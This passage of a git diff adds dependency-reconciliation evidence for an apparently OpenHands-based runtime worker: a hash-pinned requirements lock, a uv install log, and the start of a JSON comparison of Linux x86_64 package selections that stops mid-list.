--hash=sha256:f8aef9c52c08c13a65f30ea34f4e5aac3fd1a34959879d7e59e63027286627f2 +tree-sitter==0.25.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:260586381b23be33b6191a07cea3d44ecbd6c01aa4c6b027a0439145fcbc3358 \ + --hash=sha256:7d2ee1acbacebe50ba0f85fff1bc05e65d877958f00880f49f9b2af38dce1af0 \ + --hash=sha256:b43a9e4c89d4d0839de27cd4d6902d33396de700e9ff4c5ab7631f277a85ead9 \ + --hash=sha256:b878e296e63661c8e124177cc3084b041ba3f5936b43076d57c487822426f614 \ + --hash=sha256:d77605e0d353ba3fe5627e5490f0fbfe44141bafa4478d88ef7954a61a848dae \ + --hash=sha256:fbb1706407c0e451c4f8cc016fec27d72d4b211fdd3173320b1ada7a6c74c3ac \ + --hash=sha256:fe43c158555da46723b28b52e058ad444195afd1db3ca7720c59a254544e9c20 +tree-sitter-bash==0.25.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:3f484c4bb8796cde7a87ca351e6116f09653edac0eb3c6d238566359dd28b117 \ + --hash=sha256:a3332d71c7b7d5f78259b19d02d0ea111fcb82b72712ee4a93aaa5b226d3f0a8 \ + --hash=sha256:bfc0bdaa77bc1e86e3c6652e5a6e140c40c0a16b84185c2b63ad7cd809b88f14 +typing-extensions==4.15.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466 \ + --hash=sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548 +typing-inspection==0.4.2 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7 \ + --hash=sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464 +uncalled-for==0.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:2c0bd338faff5f930918f79e7eb9ff48290df2cb05fcc0b40a7f334e55d4d85f \ + --hash=sha256:b4f8fdbcec328c5a113807d653e041c5094473dd4afa7c34599ace69ccb7e69f +uritemplate==4.2.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:480c2ed180878955863323eea31b0ede668795de182617fef9c6ca09e6ec9d0e \ + --hash=sha256:962201ba1c4edcab02e60f9a0d3821e82dfc5d2d6662a21abd533879bdb8a686 +urllib3==2.7.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c \ + --hash=sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897 +uuid7==0.1.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:5e259bb63c8cb4aded5927ff41b444a80d0c7124e8a0ced7cf44efa1f5cccf61 \ + --hash=sha256:8c57aa32ee7456d3cc68c95c4530bc571646defac01895cfc73545449894a63c +uvicorn==0.52.4 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:73acfee47a0b133c5de13d219492d62d8a31e935f4fe6e41a232451a15379f86 \ + --hash=sha256:f86e41a149d7d05a9969337e3946a9c171c06a5d42680896daaba624aeac8da1 +watchfiles==1.1.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1db5d7ae38ff20153d542460752ff397fcf5c96090c1230803713cf3147a6803 \ + --hash=sha256:36193ed342f5b9842edd3532729a2ad55c4160ffcfa3700e0d54be496b70dd43 \ + --hash=sha256:3a476189be23c3686bc2f4321dd501cb329c0a0469e77b7b534ee10129ae6374 \ + --hash=sha256:3f7eb7da0eb23aa2ba036d4f616d46906013a68caf61b7fdbe42fc8b25132e77 \ + --hash=sha256:5c85794a4cfa094714fb9c08d4a218375b2b95b8ed1666e8677c349906246c05 \ + --hash=sha256:8c91ed27800188c2ae96d16e3149f199d62f86c7af5f5f4d2c61a3ed8cd3666c \ + --hash=sha256:8fbe85cb3201c7d380d3d0b90e63d520f15d6afe217165d7f98c9c649654db81 \ + --hash=sha256:a173cb5c16c4f40ab19cecf48a534c409f7ea983ab8fed0741304a1c0a31b3f2 \ + --hash=sha256:a916a2932da8f8ab582f242c065f5c81bed3462849ca79ee357dd9551b0e9b01 \ + --hash=sha256:c755367e51db90e75b19454b680903631d41f9e3607fbd941d296a020c2d752d \ + --hash=sha256:f9a2ae5c91cecc9edd47e041a930490c31c3afb1f5e6d71de3dc671bfaca02bf +wcwidth==0.2.14 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:4d478375d31bc5395a3c55c40ccdf3354688364cd61c4f6adacaa9215d0b3605 \ + --hash=sha256:a7bb560c8aee30f9957e5f9895805edd20602f2d7f720186dfd906e82b4982e1 +websockets==15.0.1 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8 \ + --hash=sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597 \ + --hash=sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4 \ + --hash=sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65 \ + --hash=sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee \ + --hash=sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f +wrapt==1.17.3 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:042ec3bb8f319c147b1301f2393bc19dba6e176b7da446853406d041c36c7828 \ + --hash=sha256:281262213373b6d5e4bb4353bc36d1ba4084e6d6b5d242863721ef2bf2c2930b \ + --hash=sha256:5d4478d72eb61c36e5b446e375bbc49ed002430d17cdec3cecb36993398e1a9e \ + --hash=sha256:6fd1ad24dc235e4ab88cda009e19bf347aabb975e44fd5c2fb22a3f6e4141277 \ + --hash=sha256:7171ae35d2c33d326ac19dd8facb1e82e5fd04ef8c6c0e394d7af55a55051c22 \ + --hash=sha256:74afa28374a3c3a11b3b5e5fca0ae03bef8450d6aa3ab3a1e2c30e3a75d023dc \ + --hash=sha256:88547535b787a6c9ce4086917b6e1d291aa8ed914fdd3a838b3539dc95c12804 \ + --hash=sha256:d40770d7c0fd5cbed9d84b2c3f2e156431a12c9a37dc6284060fb4bec0b7ffd4 \ + --hash=sha256:e01375f275f010fcbf7f643b4279896d04e571889b8a5b3f848423d91bf07050 \ + --hash=sha256:f66eb08feaa410fe4eebd17f2a2c8e2e46d3476e9f8c783daa8e09e0faa666d0 +yarl==1.22.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:1380560bdba02b6b6c90de54133c81c9f2a453dee9912fe58c1dcced1edb7cff \ + --hash=sha256:22b029f2881599e2f1b06f8f1db2ee63bd309e2293ba2d566e008ba12778b8da \ + --hash=sha256:50678a3b71c751d58d7908edc96d332af328839eea883bb554a43f539101277a \ + --hash=sha256:9d7672ecf7557476642c88497c2f8d8542f8e36596e928e9bcba0e42e1e7d71f \ + --hash=sha256:a49370e8f711daec68d09b821a34e1167792ee2d24d405cbc2387be4f158b520 \ + --hash=sha256:bca03b91c323036913993ff5c738d0842fc9c60c4648e5c8d98331526df89784 \ + --hash=sha256:bebf8557577d4401ba8bd9ff33906f1376c877aa78d1fe216ad01b4d6745af71 \ + --hash=sha256:bec03d0d388060058f5d291a813f21c011041938a441c593374da6077fe21b1b \ + --hash=sha256:c0232bce2170103ec23c454e54a57008a9a72b5d1c3105dc2496750da8cfa47c \ + --hash=sha256:de6b9a04c606978fdfe72666fa216ffcf2d1a9f6a381058d4378f8d7b1e5de62 \ + --hash=sha256:e1b51bebd221006d3d2f95fbe124b22b247136647ae5dcc8c7acafba66e5ee67 \ + --hash=sha256:e51ac5435758ba97ad69617e13233da53908beccc6cfcd6c34bbed8dcbede486 +zipp==3.23.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e \ + --hash=sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166 +openhands-sdk @ https://files.pythonhosted.org/packages/e9/ac/d27c5becc3b59b8cc46a1614ac478cc94eb73e626ab15831906fcdaafb29/openhands_sdk-1.49.6-py3-none-any.whl \ + --hash=sha256:3b4701f125925e804929ab02b61fe2fe10b4fb1e7d723a2c4afdea35566328bb +openhands-tools @ https://files.pythonhosted.org/packages/68/20/27d6d20cc8f3465ec861c450bc0113c8646285aa6c8f4291b62366dcb8a2/openhands_tools-1.49.6-py3-none-any.whl \ + --hash=sha256:11e57a6635fd93c9f1fed14f804ab6f24a4873f75a2d35f0d1c3e57df2c51c87 + +[stderr] + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-runtime-hash-install.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-runtime-hash-install.txt new file mode 100644 index 000000000..88f1b6117 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-runtime-hash-install.txt @@ -0,0 +1,183 @@ +$ ["rtk", "uv", "pip", "install", "--python", "/venv/bin/python", "--require-hashes", "--no-deps", "--no-build-isolation", "--index-url", "https://pypi.org/simple", "-r", "/candidate.lock"] + +[stderr] +Using Python 3.13.15 environment at: /venv +Resolved 176 packages in 16ms +Installed 175 packages in 500ms + + agent-client-protocol==0.12.1 + + aiofile==3.9.0 + + aiofiles==25.1.0 + + aiohappyeyeballs==2.6.1 + + aiohttp==3.14.3 + + aiosignal==1.4.0 + + annotated-types==0.7.0 + + anthropic==0.75.0 + + anyio==4.14.2 + + attrs==25.3.0 + + authlib==1.6.12 + + backoff==2.2.1 + + beartype==0.22.9 + + beautifulsoup4==4.14.2 + + binaryornot==0.4.4 + + blake3==1.0.9 + + browser-use==0.11.9 + + browser-use-sdk==2.0.15 + + bubus==1.5.6 + + cachetools==7.1.8 + + caio==0.9.25 + + cdp-use==1.4.4 + + certifi==2025.8.3 + + cffi==2.0.0 + + chardet==5.2.0 + + charset-normalizer==3.4.3 + + click==8.5.0 + + cloudpickle==3.1.2 + + cryptography==50.0.0 + + cyclopts==4.6.0 + + deprecation==2.1.0 + + distro==1.9.0 + + dnspython==2.8.0 + + docstring-parser==0.17.0 + + docutils==0.22.2 + + email-validator==2.3.0 + + exceptiongroup==1.3.0 + + fakeredis==2.34.1 + + fastmcp==3.2.0 + + fastuuid==0.14.0 + + filelock==3.20.3 + + frozenlist==1.8.0 + + fsspec==2025.9.0 + + func-timeout==4.3.5 + + google-api-core==2.31.0 + + google-api-python-client==2.184.0 + + google-auth==2.53.0 + + google-auth-httplib2==0.2.0 + + google-auth-oauthlib==1.2.2 + + google-genai==1.75.0 + + googleapis-common-protos==1.70.0 + + groq==0.32.0 + + grpcio==1.76.0 + + h11==0.16.0 + + hf-xet==1.1.10 + + httpcore==1.0.9 + + httplib2==0.32.0 + + httpx==0.28.1 + + httpx-sse==0.4.3 + + huggingface-hub==0.35.3 + + idna==3.15 + + importlib-metadata==8.5.0 + + inquirerpy==0.3.4 + + jaraco-classes==3.4.0 + + jaraco-context==6.1.0 + + jaraco-functools==4.4.0 + + jeepney==0.9.0 + + jinja2==3.1.6 + + jiter==0.11.0 + + joserfc==1.7.5 + + json-repair==0.60.1 + + jsonref==1.1.0 + + jsonschema==4.23.0 + + jsonschema-path==0.3.4 + + jsonschema-specifications==2025.9.1 + + keyring==25.7.0 + + libtmux==0.53.0 + + litellm==1.93.0 + + lmnr==0.7.60 + + lmnr-claude-code-proxy==0.1.23 + + lupa==2.8 + + lxml==6.1.0 + + markdown-it-py==4.0.0 + + markdownify==1.2.0 + + markupsafe==3.0.2 + + mcp==1.28.1 + + mdurl==0.1.2 + + more-itertools==10.8.0 + + multidict==6.7.0 + + oauthlib==3.3.1 + + ollama==0.6.0 + + openai==2.33.0 + + openapi-pydantic==0.5.1 + + openhands-sdk==1.50.0 (from https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl) + + openhands-tools==1.50.0 (from https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl) + + opentelemetry-api==1.39.1 + + opentelemetry-exporter-otlp-proto-common==1.39.1 + + opentelemetry-exporter-otlp-proto-grpc==1.39.1 + + opentelemetry-exporter-otlp-proto-http==1.39.1 + + opentelemetry-instrumentation==0.60b1 + + opentelemetry-instrumentation-threading==0.60b1 + + opentelemetry-proto==1.39.1 + + opentelemetry-sdk==1.39.1 + + opentelemetry-semantic-conventions==0.60b1 + + opentelemetry-semantic-conventions-ai==0.4.13 + + orjson==3.11.7 + + pathable==0.4.4 + + pfzy==0.3.4 + + pillow==12.3.0 + + platformdirs==4.4.0 + + portalocker==2.10.1 + + posthog==6.7.7 + + prompt-toolkit==3.0.52 + + propcache==0.4.1 + + proto-plus==1.26.1 + + protobuf==6.33.5 + + psutil==7.2.2 + + py-key-value-aio==0.4.4 + + pyasn1==0.6.4 + + pyasn1-modules==0.4.2 + + pycparser==2.23 + + pydantic==2.12.5 + + pydantic-core==2.41.5 + + pydantic-settings==2.11.0 + + pygments==2.20.0 + + pyjwt==2.14.0 + + pyotp==2.9.0 + + pyparsing==3.2.5 + + pypdf==6.19.0 + + pyperclip==1.11.0 + + python-dateutil==2.9.0.post0 + + python-docx==1.2.0 + + python-dotenv==1.2.2 + + python-frontmatter==1.1.0 + + python-json-logger==4.0.0 + + python-multipart==0.0.31 + + pyyaml==6.0.2 + + redis==7.2.1 + + referencing==0.36.2 + + regex==2025.9.18 + + reportlab==4.4.4 + + requests==2.33.0 + + requests-oauthlib==2.0.0 + + rich==14.3.3 + + rich-rst==1.3.2 + + rpds-py==0.27.1 + + screeninfo==0.8.1 + + secretstorage==3.5.0 + + six==1.17.0 + + sniffio==1.3.1 + + socksio==1.0.0 + + sortedcontainers==2.4.0 + + soupsieve==2.9.2 + + sse-starlette==3.0.2 + + starlette==1.3.1 + + tenacity==9.1.2 + + tiktoken==0.12.0 + + tokenizers==0.23.1 + + tom-swe==1.0.3 + + tqdm==4.67.1 + + tree-sitter==0.25.2 + + tree-sitter-bash==0.25.1 + + typing-extensions==4.15.0 + + typing-inspection==0.4.2 + + uncalled-for==0.2.0 + + uritemplate==4.2.0 + + urllib3==2.7.0 + + uuid7==0.1.0 + + uvicorn==0.52.4 + + watchfiles==1.1.1 + + wcwidth==0.2.14 + + websockets==15.0.1 + + wrapt==1.17.3 + + yarl==1.22.0 + + zipp==3.23.0 + +exit_code=0 diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-selected-dependency-comparison.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-selected-dependency-comparison.txt new file mode 100644 index 000000000..064d8f984 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-selected-dependency-comparison.txt @@ -0,0 +1,1959 @@ +$ ["rtk", "/venv/bin/python", "/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-compare.py.txt", ""] +{ + "schema_version": 1, + "evidence_class": "local_integration", + "scope": "Selected Linux x86_64 dependencies on CPython 3.13.15; source-byte comparison.", + "target": { + "implementation_name": "cpython", + "implementation_version": "3.13.15", + "os_name": "posix", + "platform_machine": "x86_64", + "platform_python_implementation": "CPython", + "platform_system": "Linux", + "python_full_version": "3.13.15", + "python_version": "3.13", + "sys_platform": "linux" + }, + "parser": { + "name": "packaging", + "version": "26.3" + }, + "files": [ + { + "role": "reviewed_main", + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "revision": "f03f41c7", + "sha256": "14e57b8d947e62ed60e7bbc69c2e6cc55638a86fa8969d528cbdf591cd42ae64" + }, + { + "role": "candidate_input", + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "revision": "bb3d00dc1ed493726481d0d3d746f6b0b46ed8bd", + "sha256": "8d257833a90ad4096858d108a427e908a54850dee24d1036d37bd7b5e5d86676" + }, + { + "role": "reconciled", + "path": "blueprints/runtime-workers/openhands/requirements.lock", + "revision": "working_tree", + "sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106" + } + ], + "selection": [ + { + "role": "reviewed_main", + "requirements": 336, + "selected": 176, + "excluded": [ + { + "name": "google-api-core", + "marker": "python_full_version < \"3.13\" and platform_machine == \"x86_64\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-core", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-accessibility", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-accounts", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-addressbook", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-adservices", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-adsupport", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-applescriptkit", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-applescriptobjc", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-applicationservices", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-apptrackingtransparency", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-audiovideobridging", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-authenticationservices", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-automaticassessmentconfiguration", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-automator", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-avfoundation", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"11.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-avkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-avrouting", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-backgroundassets", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-browserenginekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"23.4\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-businesschat", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-calendarstore", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-callkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-carbon", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-cfnetwork", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-cinematic", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"23.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-classkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-cloudkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-cocoa", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-collaboration", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-colorsync", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-contacts", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-contactsui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coreaudio", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coreaudiokit", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-corebluetooth", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coredata", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-corehaptics", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-corelocation", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coremedia", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"11.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coremediaio", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"11.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coremidi", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coreml", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coremotion", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coreservices", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-corespotlight", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-coretext", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-corewlan", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-cryptotokenkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-datadetection", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-devicecheck", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-devicediscoveryextension", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"24.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-dictionaryservices", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-discrecording", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-discrecordingui", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-diskarbitration", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-dvdplayback", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-eventkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-exceptionhandling", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-executionpolicy", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-extensionkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-externalaccessory", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-fileprovider", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-fileproviderui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-findersync", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"14.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-fsevents", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-fskit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"24.4\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-gamecenter", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-gamecontroller", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-gamekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-gameplaykit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"15.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-healthkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-imagecapturecore", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"10.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-inputmethodkit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-installerplugins", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-instantmessage", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"9.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-intents", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"16.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-intentsui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"21.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-iobluetooth", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-iobluetoothui", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": 